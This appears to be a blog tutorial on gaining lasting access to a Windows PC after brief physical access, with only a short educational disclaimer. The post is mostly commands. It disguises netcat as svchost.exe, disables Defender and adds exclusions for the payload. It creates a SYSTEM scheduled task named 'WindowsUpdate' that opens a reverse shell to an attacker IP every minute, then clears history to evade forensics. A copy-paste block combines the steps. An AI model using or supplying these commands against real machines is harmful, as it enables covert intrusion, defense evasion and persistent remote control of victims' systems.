I Had 5 Minutes Alone With a Windows PC. Here’s What I Left Behind.: Windows Persistence via Scheduled Tasks
This is how a bad employee or a determined attacker can own an internal Windows machine and maintain access indefinitely, even after reboots.
⚠️ Disclaimer
This article is for educational and research purposes only. The techniques demonstrated are intended to help security professionals understand attack vectors and defend their networks.
Do not use these methods on systems you do not own or have explicit written permission to test. Unauthorized access to computer systems is illegal and punishable by law.
I also created a script to automate all these tasks to save time, you just need a Rubber Ducky
Delivery Methods
Before we begin, it’s important to understand that there are multiple ways to get netcat (or any payload) onto the target machine. In this demo, I’ll use a Python HTTP server to download the file. But you can use any method like USB, Any other file sharing or even you can use USB Rubber Ducky.
Step 0: Host Netcat on Attacker Machine
On your Kali/attacker machine Download Netcat and rename nc64.exe to svchost.exe to Avoids suspicion and Bypass casual inspection then start a Python HTTP server to host the netcat binary
Now netcat is available at: http://[attacker-ip]:8000/svchost.exe
Step 1: Download Netcat to the Target
Before Downloading nc to target machine, now the windows will consider netcat as malicious and it will remove it. So first we need turn off virus and threat protection but after that we can turn on it. Because we are planning to exlcude the payload file from the defender.
Then go to http://[attacker-ip]:8000/svchost.exe
Download Netcat to the target machine and copy it into Temp Folder.
Step 2: Exclude from Windows Defender
Now that the payload is on the system, we need to make sure Windows Defender doesn’t delete or quarantine it.
Add-MpPreference -ExclusionPath "C:\Windows\Temp\svchost.exe"Add-MpPreference -ExclusionPath "C:\Windows\Temp\"Windows Defender will now ignore anything in the excluded paths including our reverse shell.
Step 3: Verify Exclusions
Confirm that the exclusions were added successfully.
Get-MpPreference | Select-Object -Property ExclusionPathStep 4: Create Persistent Scheduled Task
Now we create a scheduled task that runs our reverse shell every minute as SYSTEM. (Replace Attacker IP to yours)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svchost.exe -e cmd.exe 192.168.29.67 4444" /sc minute /mo 1 /ru SYSTEM /f
Step 5: Verify and Run the Task
schtasks /query /tn "WindowsUpdate"schtasks /run /tn "WindowsUpdate"Step 7: Clear PowerShell History
This removes any trace of the commands we just ran.
Clear-HistoryNote: This only clears the current session history. For complete forensic evasion, consider also clearing Event Logs and other artifacts.
Get Sayooj’s stories in your inbox
Join Medium for free to get updates from this writer.
Or you can just copy paste all in once (replace kali ip to yours)
Add-MpPreference -ExclusionPath “C:\Windows\Temp\svchost.exe”
Add-MpPreference -ExclusionPath “C:\Windows\Temp\”
Get-MpPreference | Select-Object -Property ExclusionPath
schtasks /create /tn “WindowsUpdate” /tr “C:\Windows\Temp\svchost.exe -e cmd.exe 192.168.29.67 4444” /sc minute /mo 1 /ru SYSTEM /f
schtasks /query /tn “WindowsUpdate”
schtasks /run /tn “WindowsUpdate”
Clear-History
Make sure to turn on Virus and Threat Protection back
Step 8: Start Listener on Kali
Back on the attacker machine, start the netcat listener to receive the incoming connection.
You now have a SYSTEM shell on the target machine.
The beauty of this attack is that the scheduled task persists across reboots. Even if the victim restarts their machine:
- The task remains in the Task Scheduler database
- It triggers automatically on boot (if configured) or within 1 minute
- The reverse shell reconnects to your listener
